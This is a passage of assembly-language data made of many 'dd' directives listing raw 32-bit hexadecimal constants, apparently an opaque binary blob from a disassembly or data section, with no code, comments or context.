dd 0AB4257A8h, 0DB3840D1h, 8808C4B8h, 594B037Ch, 9579E13Eh dd 14561087h, 0F7F9C34Ch, 606608F6h, 31091E20h, 0E4200D4Eh dd 91088CE9h, 637F1868h, 0AA614079h, 20E60931h, 8015621h dd 77108CF0h, 6350209Eh, 6E5908C4h, 0BDA8201Bh, 2091A610h dd 0EC20B521h, 0A21D4401h, 0D608FE63h, 0B3203AB6h, 7663B9C0h dd 18FC5710h, 18050120h, 0C780D3BDh, 0CD58C45Eh, 0B09706CBh dd 0A39C2008h, 3010F183h, 518B920h, 7A65089Dh, 2A018689h dd 0DB3801A4h, 10AB308Ch, 0EA657F08h, 0B04C5A18h, 0C47CA9BAh dd 688D079h, 20106F6Bh, 0E7319C03h, 70340883h, 0DA0A188Ch dd 84A84650h, 5E8090F0h, 2010CA69h, 63BC8CA8h, 0B8A9B608h dd 1B98CF9h, 40DB40E1h, 48898071h, 2783F851h, 91412098h dd 8C68D33h, 31182C79h dd 23862D6h, 0CCB1A2C8h, 0D0FFDE32h, 37C8A3AFh, 0D28185Ah dd 94E1034h, 0EF7408C4h, 389F2106h, 8C5D331h, 4095FAA4h dd 4119B49Ch, 0C35F08D7h, 0C1081831h, 8959484h, 2731CC66h dd 8CB77899h, 8B4BE10h, 0BBF0A81Fh, 0AFE7807Bh, 0E55308C6h dd 0D4112018h, 319E8120h, 1B68FB36h, 58088CF6h, 402928E0h dd 0BB408E8Ah, 1808629Fh, 0ED02B653h, 5CB803D5h, 0F9E5F018h dd 92583940h, 30286554h, 0F2FC46D5h, 0C63110E2h, 0DBDE08E8h dd 59241503h, 3B8C5877h, 0A8764075h, 818F19B8h, 2F8052E1h dd 9517A049h, 31ACA4F1h, 0BCA35992h, 0ADC61889h, 0EF48424h dd 9519B01Eh, 514308D0h, 18BE294h, 1099F537h, 5157F1EBh dd 1870CBCh, 89039550h, 5B6B191Bh, 0DA46F4A0h, 59201064h dd 57E72081h, 35A3AA20h, 8660F271h, 1E3110F3h, 0A05F08CFh dd 88498402h, 6C2824FEh, 71F1D9DEh, 888ACD8h, 308A186h dd 5DE10CC3h, 0F740BF38h, 0F8A0A830h, 0BD20C9CEh, 0D8107022h dd 9492E604h, 3F584934h, 400B2024h, 0A95A5ACCh, 20082896h dd 9B498EF3h, 60E62414h, 0DE8C1582h, 528E4A3h, 7E7C690Bh dd 0F4AC932Bh, 30B6E4C0h, 741210C3h, 8019D0FCh, 3E9104D7h dd 0D34381B9h, 15836FC4h, 5E3B9BA8h, 50D1EF0Fh, 0DF676384h dd 1ACDF8D0h, 0F0815885h, 8C1E93h, 0C546A9DBh, 67747345h dd 0A799A012h, 11230E4h, 6DFFF71h, 8090ECD1h, 5AED73A8h dd 0E5777D69h, 6E499C0h, 6E714A83h, 0B3A33825h, 0B85FB84Eh dd 0F4B47092h, 72CB0011h, 81B62CB4h, 0E09E14D1h, 12FE983Ah dd 60C09960h, 0BD978131h, 0B90F7E16h, 98843E14h, 89B30h dd 66FCBE7Fh, 0DBDA99E1h, 3051700h, 0FD65B796h, 0D9EF2E1Ah dd 706900B7h, 0FAEA18FEh, 0D87C3Eh, 0E97460ADh, 0BE3272C2h dd 17738060h, 59D108DFh, 0C705A4B6h, 3DC2D0E7h, 0E0805F4Bh dd 6C3D7E49h, 10731C8h, 76ECD8F1h, 87167150h, 0D1379138h dd 598713h, 98490410h, 0C98416BCh, 1FB31448h, 42003F50h dd 77E86913h, 735107F8h, 0C11912F2h, 20D4ED94h, 5203E09Bh dd 67D1078Fh, 7113F1D7h, 48833071h, 5231BF97h, 0E6D16FD8h dd 217C047Ch, 77844805h, 0C020D969h, 8AE6D77Ch, 39D15C01h dd 0AC2094FEh, 18FC2414h, 95DF2702h, 0ACA055B4h, 8C97A448h dd 0CE0040DFh, 4C985090h, 7E4A134Bh, 0F5C8A031h, 0EE06AE07h dd 0FB12BD22h, 0E478E04Ch, 5DAB0023h, 7C05CA56h, 0BB004984h dd 0E2E90999h, 2FCBA76h, 0D163140Dh, 0C0743AFBh, 713A5828h dd 767D010Fh, 21ACD6ECh, 0C097DBE4h, 59A2A6D1h, 197C178Ah dd 18C38E90h, 0B814B8E4h, 2603F27Ch, 7198E4Ch, 4B7E7872h dd 99F628F8h, 8370BD48h, 3D90F17Dh, 1B892818h, 620321EAh dd 30B0E92Fh, 423DA6BEh, 0C140C87Eh, 0AD627346h, 2199048h dd 0B5FCA0A3h, 2844F17Bh, 7AAD2527h, 197CFCB8h, 1043DED1h dd 0AC7BDC64h, 0DF18F91Ch, 0BE7580FCh, 657341AEh, 99F0E17h dd 93C3CBC4h, 4EB831B5h, 3F00A0E6h, 0B3D96A70h, 0FC30B08h dd 697248BDh, 0CC5E99C1h, 4D68803Eh, 0F70DD919h, 0E5DF2605h dd 20E90C1Fh, 0A03C1DC0h, 92A30CDCh, 61BA8A9h, 0E8A4DA82h dd 0FC241051h, 0D18B7087h, 3B205868h, 6F811727h, 137DDEB7h dd 0F9F840B5h, 7E1674DAh, 4CA5338Eh, 0D125447h, 3844B3Eh dd 0A4412410h, 60007EB2h, 0D5B6F49Dh, 908F14C1h, 6F673AFCh dd 83A0A17Ch, 0AA138D20h, 800C4994h, 749B448h, 9E25894h dd 419DA031h, 0EE3D7A7Ch, 0D12B86BBh, 5381036h, 0F70BAAB1h dd 0F4800815h, 0C0513010h, 0D7693C01h, 72197C22h, 54F008h dd 2D7E6F53h, 9CD2F62Ah, 9179322h, 0EA42B515h, 0C0293404h dd 0DEADF710h, 0B6189F78h, 2270A01Ch, 0F1556B0Ch, 0B6EA200h dd 89E958D1h, 0A1784660h, 2D5EA408h, 0C2AC24h, 0F6D503D4h dd 0E9679652h, 7EA3100Fh, 40887AF0h, 20FA5A64h, 0FF0158FEh dd 0D165A40Fh, 0C89FDCC7h, 8858A6B1h, 813AAA33h, 7B999BB5h dd 80F096F4h, 9AC8CFD6h, 1BAF7F1Eh, 161DC0C0h, 340983Ah dd 4CAB5264h, 3225A0D3h, 0EE3098D2h, 0FEFD0013h, 1F6F12E0h dd 0B40797DFh, 0D0BA1D18h, 98A0408Ch, 0A27E2574h, 40226C82h dd 4B8A6C43h, 306F2B41h, 0D56A7D3Ch, 0C02174D1h, 103A1E39h dd 0A0BE42C0h, 0C53B9845h, 0E16B7E11h, 3928365Ch, 41C0D1EAh dd 881DF74Ch, 3C82C358h, 5D78193h, 889653D8h, 0EA091524h dd 6C6E4Bh, 69C77091h, 82BF50DCh, 0CFA41560h, 9050D894h dd 500E0A77h, 4D835E5h, 0D223D771h, 0F044793Ch, 0C844A295h dd 0D4C8E15h, 98607130h, 9C7658B6h, 51B82310h, 0BD480060h dd 7E04419Bh, 507114E9h, 0D6D66CD2h, 9C740C3Ch, 0EB33A340h dd 499F3021h, 0C3813010h, 40E4CED3h, 0C4619BBDh, 1F040C3Ch dd 0BED3711Eh, 3889C8E5h, 380D9649h, 83AC4438h, 0C04069B0h dd 0D1190F58h, 0A3A8AD64h, 124CDC20h, 0BB0CF71h, 0D4018224h dd 0F431A797h, 48807825h, 22AC0C23h, 0D402D49h, 84E93460h dd 0A4DA6976h, 4BA4108Ch, 0AE7D0985h, 71E882DFh, 94CC279h dd 0A458B068h, 0EBEC095Ah, 140062D6h, 2A78EDC4h, 24F29801h dd 587E510Fh, 0C4133C65h, 0EC8BE464h, 6214C843h, 718480AAh dd 0A49090A2h, 68D3BF98h, 4C80D024h, 3CC3CACh, 0C6A45928h dd 40031B6Fh, 5234C24h, 4C92DE6h, 3812E462h, 68093C62h dd 0AB4804h, 19659E91h, 749D1DA1h, 7EBC4109h, 41CC99F2h dd 0E0729B93h, 9C925456h, 0D28E7118h, 4C6A2350h, 94C124D6h dd 0F8363D4Ah, 4C00B915h, 0AE107E7Ch, 30D0FADEh, 19705E66h dd 73580AA5h, 317D08E4h, 8AE42CA4h, 47B8F56Fh, 3B1CA1DAh dd 0E18DE1C5h, 81084272h, 23F99463h, 988880B9h, 4AD00AD1h dd 98098E6h, 9E3F7E6Ch, 0EBA0E413h, 0A41B083Ah, 0B460826Ah dd 4030ECC9h, 0C9541E22h, 249F1EAEh, 0D1F9E764h, 405766A4h dd 0BCAF95B4h, 0EC79732Ch, 0E428B70Ah, 342A7DE1h, 0FFE56700h dd 66EB6212h, 9B4A6404h, 40A924A0h, 0A63C9A4Fh, 57729848h dd 91BF9910h, 84E51FC0h, 80AF7F71h, 52627504h, 19CBAD1Dh dd 54A09900h, 3ABC044Fh, 7C00F47Ah, 1D1C0692h, 7330D172h dd 75B9508Eh, 26EB01C9h, 0B60C9FDFh, 47D88199h, 0D8697884h dd 84760C23h, 0C0BA737Bh, 54985572h, 501618B8h, 9C376B81h dd 20A1C3E4h, 9023F464h, 0B3962C24h, 5828A488h, 0ED608571h dd 0FC24E710h, 1E84F8DDh, 1FFDEF4h, 0D80B4052h, 348AD250h dd 60AA00DBh, 473E87DDh, 224E9200h, 0AD61FE85h, 81300064h dd 0AA21907h, 281C7869h, 0BCC39CCCh, 0FA71F580h, 0D728C9C1h dd 0A1054001h, 0FD80F0F1h, 6CE34F7Dh, 8883371h, 83A04920h dd 0F400D5A5h, 0B5037BA8h, 17A471BBh, 231B5F9Bh, 97A04914h dd 7D12F792h, 64404D6Bh, 0F169DEAFh, 60F83A02h, 31516E80h dd 80842C49h, 0F2734D00h, 0BA999F83h, 78093C12h, 71970CFDh dd 6B80C33Fh, 4842FD4Bh, 8166ABD1h, 278F4A88h, 1CFD6E1h dd 4B955410h, 0E873A444h, 0E2EA24D2h, 7CE42E4Ah, 0EE4011Dh dd 96CA1912h, 710840A7h, 68CF58A5h, 6C00976Eh, 9C33001h dd 756734A4h, 0FA4C0E0h, 0DBA062DFh, 98A4F37Ch, 0FF7D6709h dd 76F802B3h, 6E48C09Eh, 71183B0Eh, 0EB01F2Ah, 0F59D17Fh dd 2B8169EFh, 805BCCBEh, 0B0627418h, 98D0E91Bh, 250880B0h dd 0FC14A0ADh, 714D097Eh, 0ECDE63A1h, 0E447CF96h, 7ED10498h dd 0C300325Dh, 62F06BC5h dd 0C4BCA748h, 58D2CAFCh, 0AB346171h, 0A18093Ah, 17026505h dd 4204A4A0h, 0EB108261h, 9824BD4Eh, 72E0C0ABh, 601D162h dd 0F39E8C94h, 7413D1Eh, 8A127569h, 0D6F01121h, 0D0BC0E14h dd 1033E90Fh, 4A05087Ch, 91244DF2h, 0ED9E1Ch, 4567F08h dd 19DF9B28h, 1D7581F8h, 4B688009h, 0C9C35E3Ch, 2CA0B849h dd 907C39E6h, 7424490Fh, 0AECE040Ah, 982A8F50h, 0D125F8B0h dd 539C8454h, 7C3874E7h, 2D6F4C8h, 65E7D94h, 0CC6A9499h dd 52EA461h, 7E025022h, 402912F5h, 21E1ECh, 0C6991B0Ah dd 28B1372Ah, 0CCCB8424h, 0C4E4F700h, 0A795E7h, 3C646CDDh dd 2893BE99h, 0BC2F503Ah, 8A628CBh, 27067E16h, 8826AC23h dd 7C176Ah, 0B101F777h, 370A965h, 988D7E18h, 95EEE928h dd 0AE616818h, 81BBE28h, 0E3465505h, 0E00BEAFEh, 0A47C3009h dd 0BCC3508Ch, 889E1D84h, 4F4266Bh, 1207F9A3h, 0F8B16905h dd 0AA140D1h, 0B547988Fh, 85FC8DE0h, 0F5CA4D1h, 2C308094h dd 45E4010h, 0D82D269h, 0D3C08131h, 0EEFC0317h, 261398E1h dd 121897DEh, 772C40FEh, 6D16B498h, 5CEB7E3Eh, 98672014h dd 7FBC8014h, 548800F3h, 0A07C695Ch, 62095634h, 0CC4BAAFCh dd 6B102010h, 0FF7CA900h, 8205B295h, 711D3E3Dh, 4480B62Ah dd 7303100Ch, 9DE644CEh, 8E629h, 0CA7A899h, 2208A95Eh dd 4607AC03h, 0E8844DA6h, 9F3C714Ah, 88CDF042h, 71408225h dd 1350D6C6h, 0FCFC2093h, 8C9962B8h, 0DCD10684h, 0DA6C00FEh dd 0CAC233A3h, 0FCA00703h, 0D8D89AB6h, 287ED9B2h, 0A88CC570h dd 30D10CC8h, 71385A6Eh, 0F4F983D3h, 200C7C23h, 900F0349h dd 0C1DC0385h, 1EE28404h, 0E7704AE0h, 0CDB0B202h, 68559ED1h dd 58A06FA4h, 718388F4h, 500FA937h, 5D29E6Dh, 6C417330h dd 0E589A43Eh, 3523D474h, 98E0A799h, 1D00607Ch, 0F26C7108h dd 0ED64Ch, 6B7572F9h, 18A81B2Eh, 5928D13Dh, 3EA4088Ch dd 0C051F54h, 29982523h, 0C96EC90h, 83D80425h, 238E08E3h dd 2C81F52Ch, 0E7F6490h, 806F6B81h, 0E371AC0Ch, 0A47E760Ah dd 0E90EA4ADh, 581CC4E4h, 8015F0C2h, 0F66DC0FCh, 20C890B5h dd 21068022h, 0E65A44Ah, 54974850h, 0C4044A78h, 96FC88B8h dd 2361C09Eh, 7D000A6Dh, 0BCB9080Ch, 74B71200h, 73EA9605h dd 3F1D7506h, 420023BBh, 7DF5B0FEh, 489A2AA7h, 7FBCD101h dd 0CB1F71E7h, 4D6E880h, 0E1D8D0Ch, 0DFFE9717h, 57E1980Eh dd 86414C02h, 749C7031h, 499941D1h, 64603450h, 0D07B712Eh dd 16A89760h, 1339D27Eh, 0DA6C30DCh, 409EB419h, 7BD808h dd 0A229CDE5h, 879F6F7Eh, 3F007FD8h, 791DFD8h, 5C320FF5h dd 0B94EF049h, 0D12EBBA7h, 0AD898CC5h, 4F9013FEh, 841C5470h dd 0F9437D18h, 0D500F885h, 3A6E68F2h, 441CFBDh, 0B373807Bh dd 0CF11EBB9h, 9BF20CCCh, 90845064h, 2091624Ch, 40726540h dd 0A486E89Ch, 49C0481Dh, 407C109Fh, 1E207D7Fh, 76F2D75h dd 61EBA431h, 4C803630h, 78518B4h, 3874D861h, 0FC09F0CBh dd 84391F8Ch, 67689F0Ch, 54634A60h, 992864B0h, 82161680h dd 220CD1E9h, 3F6822F2h, 71C30975h, 0FCBC2713h, 0BD9720E0h dd 25F70C31h, 0E990E5DFh, 1334C04Ch, 208C1C2Dh, 21610A6Bh dd 2448BC99h, 5D690834h, 14494612h, 4C102597h, 5ED168D8h dd 290C81C7h, 0FDF7DC37h, 0A305C091h, 10882F45h, 507265BAh dd 0A33C043Eh, 9411FB61h, 0DA9985A4h, 88104413h, 844A1E0Ch dd 0B08F514h, 6831A397h, 0B9FF71ECh, 0B87D8654h, 0B3002895h dd 0F9C6DB63h, 307E2379h, 52186818h, 36F0199Bh, 60E8E651h dd 1AF6A484h, 61D3C8A9h, 54400C0h, 19881881h, 0A8AC50C6h dd 1944B273h, 0B148DEA4h, 0D84CCDC3h, 0D473190Ch, 0A472692Ch dd 4A774463h, 51A06051h, 6202C0Ah, 0D99940A0h, 0E41DB92Ch dd 6EB3FE0Ch, 7108C2EDh, 0ECE45C76h, 6E011B04h, 7CF8BF7Eh dd 85A1191Ch, 8118B629h, 641FA690h, 0E8987A20h, 971E2000h dd 7CBFC32Ch, 0F5DC00A8h, 786922E3h, 5F00BDFEh, 0B06F48BCh dd 0B0759D67h, 0F800F0Ch, 77A0184Bh, 439171E6h, 0AA4E748h dd 70E56993h, 0B1FD6B00h, 242C96EDh, 0E090176Fh, 0AAFAD925h dd 4206B48h, 0ED14B1E6h, 7B85ACC7h, 0CD10802h, 3F144051h dd 81FC9186h, 9E6BE9C3h, 59543CC8h, 0E17D0CB8h, 41A6012h dd 5646A464h, 48F4F41Bh, 81697E31h, 0C060D811h, 0B585804h dd 1205A165h, 0FF64288Ch, 1D76B340h, 80168DBAh, 0A4CAE90Bh dd 0E49AF2B0h, 0A3B5FC05h, 9EBC02Dh, 7CCC0C24h, 0DDD127h dd 9E704224h, 627CBED5h, 8C90B595h, 0D005E7A3h, 50CA714Ch dd 847CAC00h, 0C5CF8A0h, 0B637D165h, 2F779148h, 88F2432h dd 9568C067h, 4524A0A6h, 4088B498h, 0F0233DCEh, 195CDB4Dh dd 25283818h, 2D22C38h, 0F284D3F0h, 58A088A9h, 3DBABE74h dd 0A8AC6D24h, 124C742h, 2857D550h, 0EEAD8198h, 65E40147h dd 0F27A00BCh, 698ACE4Dh, 86170FD6h, 5C8219E5h, 27E070A3h dd 0B0125032h, 62DF8383h, 0A41DEFE1h, 3D413418h, 19C037A4h dd 0F73802FBh, 6CA623C1h, 221A9866h, 0E01130D4h, 8354A848h dd 4A047BD8h, 0B27C4401h, 50577ED2h, 17788424h, 891D8E23h dd 82389058h, 62F76C04h, 0CA38801Eh, 0C2E8E5CEh, 88DAA416h dd 0E80022h, 0C09FE50h, 843DDC05h, 4C846F80h, 7CE37481h dd 0B5BFEC00h, 0FBD3BC09h, 881692h, 0D2F4F574h, 0BC416B18h dd 7E9CB20Bh, 19B8C004h, 30D478A9h, 84B94062h, 3091F47Ch dd 48E6898Ch, 7177791h, 714254ABh, 5AB42211h, 64A0F064h dd 0F4547999h, 713F24D8h, 0A020EECFh, 0DB6150AAh, 60DC5933h dd 16035B71h, 1E1488B0h, 24A4A740h, 2D78B990h, 0CD232881h dd 80AC6C3Ah, 0FC1B7693h, 85965811h, 0D4A0D62Dh, 14DCFA62h dd 8FC11E1Ah, 7B0861B0h, 18581102h, 912FFB0h, 0D40168ADh dd 0B015CC4Bh, 0B6F4C6EDh, 0B4A1D1D0h, 0BBB7D09h, 0CEC160C0h dd 0B4864Ch, 0B20EBF08h, 2C35A67Bh, 18BAAAFh, 0DC7E74D0h dd 7CC464EDh, 2DAB6700h, 4BAD8447h, 0E8BB4DB9h, 997E7206h dd 80FA2866h, 4B5C1603h, 8A6C6E4Ah, 0A9CEC02Dh, 95FE0083h dd 6542C0B3h, 0A1907259h, 0B8099082h, 10E680E9h, 0AADD6350h dd 779060D4h, 0E07B0724h, 0CBA2DAE4h, 0F81C0438h, 80701948h dd 4B76F58Dh, 0D1AF0A0Bh, 9984466h, 4C68EEF2h, 0C0AAE490h dd 975B304Eh, 0A00B7812h, 0C06C92A2h, 0EF439B4h, 78A9600Dh dd 0F8737D03h, 8188A848h, 35071350h, 252F2479h, 0AE7DB418h dd 0CC12BA5Bh, 0C5FCC002h, 11D45948h, 5084D95h, 4C14C1D6h dd 501A18A3h, 8478916Eh, 0C0FC8158h, 15491DBDh, 0F09AF472h dd 0E08A0A5h, 64AB5123h, 0A312E428h, 175CA20Fh, 0F456FF67h dd 9A8764D1h, 0D6FC4C00h, 9960C091h, 3DE461D9h, 0A63C1E58h dd 8A128h, 0E882CE96h, 1B71E780h, 9410855Eh, 833078A8h dd 122310AEh, 82809137h, 1FD10E6Eh, 0F0CE006Ah, 6E6BF080h dd 0F83FBC0Bh, 109C85B5h, 2262E844h, 0D4019A09h, 80ECD471h dd 80656810h, 1DFD3174h, 5CEB733Ah, 0A01E43BCh, 0B8CCE411h dd 3F9FC13Ch, 70E0B8D5h, 8FAFA06Ah, 6FE906CCh, 882438A4h dd 26EA74F8h, 0DD1D30Bh, 9318E7DDh, 23508C0Eh, 9022C925h dd 7D849598h, 0D60401F8h, 8CCE12D3h, 0A62C6016h, 595B5202h dd 4896637Eh, 7D7CC7D0h, 0BCEE04D8h, 0B8C0E9BEh, 0D8325A70h dd 0A464C097h, 80FD4885h dd 71B5E502h, 88C84BC0h, 20079FD8h, 70690497h, 1D2C2280h dd 0FDA778FCh, 80C50847h, 30081412h, 9ED90911h, 0BB2AF040h dd 50EF6A30h, 36E15C4h, 0AE7068FCh, 74B7DACAh, 680810AFh dd 23241450h, 6807D413h, 0B33030A2h, 4B3AA4F6h, 0B9F4241Ch dd 74267C64h, 71E80BBh, 7352EA80h, 0A1D9DDh, 7CC0C317h dd 5EBCE8A7h, 0C9655174h, 0CD019F8h, 53D7AAFh, 0E071457Eh dd 67900061h, 0F8164CB9h, 2830700h, 0ECE694BBh, 2B576BEh dd 0D1ACE2ADh, 0D880DBC3h, 6CF2341h, 59307D80h, 711EFC09h dd 1EA8686Eh, 17C88672h, 8470B0E8h, 20ADB8C0h, 0E5177ED5h dd 0C0D39D30h, 0BA6E6908h, 9038C8F6h, 0FCAE817Ch, 7B11188Fh dd 8004861h, 9263C5D1h, 14BD427Ch, 228CB297h, 0A0F7FAC1h dd 4A730DF0h, 60DC2127h, 0C420211Fh, 4A5866FEh, 11770020h dd 0C2191728h, 61B8BC0Eh, 7D235FA4h, 786E04FCh, 18C0E256h dd 12DF785h, 4CB69DF3h, 2ABA36A4h, 3ED00010h, 54F49F9Ah dd 6849F512h, 0D884400Fh, 9BB9098Bh, 74701709h, 0BE20B095h dd 0A441179Dh, 66080FDh, 8595E2D1h, 7CBCEBCCh, 0AD4A710Eh dd 0D4ED25FEh, 0CB4AF491h, 50A40AE0h, 0B3909C44h, 0A580947Dh dd 3D203CDAh, 0C950104Ch, 20C5CE7h, 86A45322h, 8D64E8E9h dd 0BF362E0Bh, 28E218B8h, 660B38A8h, 0C04171CAh, 963D60h dd 29FD1BB2h, 8BCD9907h, 14A1250Fh, 80AF697Eh, 0F2732FF4h dd 0EBCF0097h, 9AE8A87Ch, 0D8B00C62h, 0C2231803h, 418EE4F0h dd 0F04B08E8h, 88D0B32Eh, 34053A6Ah, 95C040C5h, 5D4B7121h dd 354E48B5h, 7530B08Ch, 4A5D6A20h, 12ACA24Ah, 6CC0147Dh dd 0E7A4E0E9h, 9BE40B2Ah, 0D1814002h, 0C23EFC79h, 6F0884Bh dd 667828B0h, 64402524h, 0F025000h, 40BFD18Fh, 0F10CAB71h dd 20158BC6h, 0B4FD07D8h, 91DC69BBh, 0F3FB6CC3h, 6E5571B0h dd 0D91BB800h, 746933A6h, 0EDAA03D2h, 3D56A419h, 0D10AB006h dd 6158AC18h, 494C9827h, 0D924204Ah, 42CA84Ch, 0C596483Fh dd 0FA146780h, 720A3170h, 83AB83B8h, 0A77DDFC6h, 54F80026h dd 50178204h, 0E0C3EA21h, 1EE61671h, 32D87B30h, 0C4A43120h dd 0A7344017h, 4F4DA9Ah, 0E2A44952h, 0FCE96Bh, 66D0B15Eh dd 52450572h, 705298E7h, 0A4A4284Fh, 5951A820h, 7D08B012h dd 1C2415B3h, 65FDB400h, 4C98713Fh, 7814F0BDh, 0F201890h dd 0EB82A020h, 804FF830h, 0D200D63Dh, 0CCF37C17h, 0EBBE4Ch dd 2D627D69h, 0A5DC5F74h, 7757D10Ch, 5B19E935h, 494C2014h dd 67607F7Eh, 0EA120558h, 253E0EA6h, 0C3A0DD7Dh, 7120D783h dd 0CC925EFAh, 6BE5F401h, 7311C1ECh, 801CDE3h, 0F9A8714Ah dd 490098B8h, 7E75B9F3h, 60C22C6Ch, 6271C5F1h, 4CC058D8h dd 0B183C1Eh, 0A583E8D9h, 0E9D09900h, 7EC1FFAAh, 841F5C3Bh dd 0FC5E2180h, 96003E4Ah, 0BCDA86B3h, 9D59102h, 8A1BD10Ch dd 0A7A8A8A0h, 0E417C5FFh, 0F410B515h, 0D6C45008h, 0E6258CB9h dd 2AD11B5Ch, 0D4F81849h, 6098E9A0h, 482D2724h, 9CD65B93h dd 106C4808h, 3763F180h, 7524D10Dh, 9A0F4CA2h, 0DBE9A0CEh dd 61C28CCDh, 46D108D3h, 0BC702B6Bh, 0C46A30FCh, 90B1D148h dd 0B5D9B278h, 7362CF00h, 8E475207h, 0E170135Fh, 0A39C801Dh dd 0D089121Bh, 0C839A742h, 12247FFCh, 0A5B8B50Fh, 82080478h dd 68C9E21Ch, 0B8443A68h, 80233ACh, 78D80EEBh, 3DC99961h dd 1C208BCEh, 0CCD08327h, 5A639B59h, 0A8DD6918h, 167491Ah dd 2CE9837Ch, 0DCA9357Dh, 0C20F95FEh, 80ACA624h, 719FA15h dd 0E1E3E014h, 0B1641E0h, 211071B8h, 70E2E49Ah, 4C90404Eh dd 0E9947117h, 2DE1AC44h, 42288153h, 0C643072h, 0FD70A912h dd 6D13CC03h, 0D0998B24h, 0E160E296h, 0C29B6F0h, 19CDB343h dd 0C725D1ECh, 428C645h, 897E7646h, 58B71201h, 20ACC9D3h dd 0ACA04CC3h, 3B2E6E6Ch, 3100A421h, 2B64C499h, 84121E1Dh dd 0D9BC00A1h, 0E67A0151h, 7FF690B0h, 0A4504D0Fh, 0AB6078EDh dd 98A34E04h, 0DE04AFACh, 42E6D163h, 25A42090h, 45700052h dd 0B6B9A996h, 0B2005AF2h, 7C710EC7h, 0EAC0BE78h, 98FC6059h dd 30C6C6Eh, 4EECA45Dh, 3078D4E9h, 0D680858h, 7613ED71h dd 1C82B8B6h, 0BD544C4Ah, 2C3A0822h, 0A0E89504h, 0C0741DD2h dd 7D216CF2h, 0D6127168h, 480012C6h, 3A2F4AD4h, 0CA910016h dd 0A43FA09Eh, 6C9ADE48h, 50481E5Ah, 40AF080Fh, 9BC92000h dd 0E5823BAh, 0C2C312DDh, 2602D05h, 0B72B7EEDh, 0C4E1B8C2h dd 0FF34D865h, 9A4094Ch, 0E4825C8Ch, 84FC00CCh, 0C508BD4Ah dd 491E41A6h, 4354216Fh, 96E90188h, 0E4650D2Ah, 3B11EC4h dd 0ADD131F2h, 0E7A0576Fh, 10B13543h, 0DFA44782h, 0D1950015h dd 520E1697h, 80AA3FE4h, 813F8E6h, 0B8E4957Fh, 8800284Bh dd 7899D704h, 155AA4h, 0E3A9B48Ch, 215ADCDBh, 5BFCD430h dd 41149C15h, 9414607Dh, 0C0BC8010h, 71180DBDh, 982849AEh dd 2D509202h, 747A3536h, 7771250Bh, 9145204h, 99E5FDA1h dd 35A45083h, 6CD69809h, 3B451F3h, 0B8BB5D6Fh, 0FCD1AEC0h dd 0F2501B61h, 0C730688h, 9EA39100h, 0F7A442A6h, 0FC58019Dh dd 213E3F17h, 0D61E7D08h, 4C5E384Ah, 610CD109h, 0BC308FF8h dd 0A0910925h, 0E479B596h, 0EAC79567h, 601FE7D2h, 3C1357ECh dd 9D861B66h, 28A1F571h, 230B6F1Eh, 0A48CD013h, 190D8C40h dd 0C1207971h, 25E08031h, 7610C960h, 0E1943D84h, 0B9F001C4h dd 0C4B5100Ah, 4CB13929h, 707DF70Bh, 0C8C33840h, 0DC01A424h dd 0A5E90D8Fh, 740E0778h, 10D5D66Fh, 0EB3CCCA3h, 0CD10B44Dh dd 0C3710AA3h, 720FC47Dh, 0A88092C5h, 9F029850h, 7B71FC90h dd 0C017A424h, 205478A7h, 0F3E8270Bh, 0A4425226h, 89A9AFCEh dd 0CCFC82DBh, 7E94A3EFh, 0C8A9DD5Eh, 275BFA00h, 38F27C61h dd 0BC012DE4h, 0C654E669h, 1882F3CEh, 799B697h, 4A309CC0h dd 0A3BC1404h, 0F0ACC16Fh, 0A29A1F00h, 52D868A0h, 0BFA7B517h dd 1ACBA81Dh, 0A6400DAh, 7472FD1Dh, 0E49E0106h, 10908CB6h dd 680FF0E7h, 7527002h, 0DC22BE50h, 8F834218h, 6158E4E3h dd 0A4E7093Ch, 1E4CF8B0h, 3E3DD015h, 0A0118AB3h, 0AD1BB3D0h dd 4505F470h, 0FE8D16Ah, 0E4C83CACh, 456DF08h, 0ACEFA440h dd 73E04C50h, 2D188860h, 350626Eh, 0DA050E95h, 0C3997E3Dh dd 690880C9h, 26CEE676h, 0A090A21Ch, 8BD1ACA0h, 0ECA0979Ah dd 74048DC9h, 23F0876Eh, 5083A27Eh, 91D96428h, 20E71870h dd 1416210Bh, 20C12F27h, 7864CE0Ah, 4D8BF848h, 4F006CE6h dd 841302CBh, 53004D7Ch, 0B62CA073h, 13D39E6Dh, 0E4598B71h dd 277E9CBCh, 0BD0BFC78h, 121166A4h, 0B420C030h, 406A8091h dd 5AB1EF00h, 0BDA4CCC3h, 7A8A4D9h, 526368ADh, 0C0720759h dd 0EEBA17CAh, 4A02653Ah, 7161B002h, 6AF47C76h, 42782E14h dd 0F8F1C435h, 294B9910h, 22C82118h, 0C9E90040h, 18A99871h dd 97A8BC6Ch, 7DC0420Dh, 0C4CA03F5h, 5CC08C62h, 0D432A42Ah dd 0DEBA68D3h, 474E5060h, 4CCD4280h, 3A3D988Fh, 70158C58h dd 72053C6Ah, 0D743EBA4h, 878F9CCh, 9D00C09Ah, 0EA934AD5h dd 0EEE61950h, 401860C8h, 1720F897h, 0D701A1F6h, 0A46D7522h dd 20349294h, 26E5E6BDh, 606BC8h, 0FE8DF9EFh, 0C0F0ED15h dd 344208A2h, 0F848140Bh, 0D8946724h, 9235560h, 6FA1CFDAh dd 42D1B898h, 0C85405B5h, 213D0BDh, 8FC0A3EEh, 6008F808h dd 0D819954Bh, 0A4223E95h dd 4970DCA3h, 0C476F4BAh, 3B42A08h, 0EF56A43Eh, 0EAC54101h dd 92652330h, 0E90AF0h, 32BA74D2h, 0F5E8EB09h, 136DA801h dd 0ABC87129h, 827CD8EBh, 0C4C7B4Fh, 7477D111h, 7EEC1958h dd 0F0C3882Ch, 21248580h, 7C1DA7h, 1728C783h, 75EA11CAh dd 54B8BE00h, 0A24B9795h, 317E160Bh, 3FD0C9EEh, 0B01D5416h dd 0A8FC1520h, 3858ECAEh, 53C99D01h, 0F4130D96h, 3E307E2Ch dd 712440F4h, 501F490Eh, 8BB9A27Ch, 0A08C00E0h, 505E225Fh dd 4FF0DBh, 29C2CC68h, 0F7177EA5h, 584C40CCh, 0BDF11D64h dd 0AFD34133h, 402DC971h, 0C53866BCh, 10D4705Dh, 0B5784C3Dh dd 84404CB2h, 2B00AB7Fh, 0D69DDCF4h, 2F72031h, 0BB227A7Ch dd 0B8421EB7h, 0B3610680h, 149889FBh, 0C8A30880h, 0C6D09354h dd 2D6BF73Ch, 0A9AC022Ch, 0CE3C4078h, 1FCE8DEh, 0EEB9267h dd 0D1A4D5E9h, 0BC388140h, 0F0DA9AAFh, 58872460h, 4ACBA0EDh dd 0A413D05Ah, 0CC37F247h, 0D4434800h, 717E1657h, 3C88F3FCh dd 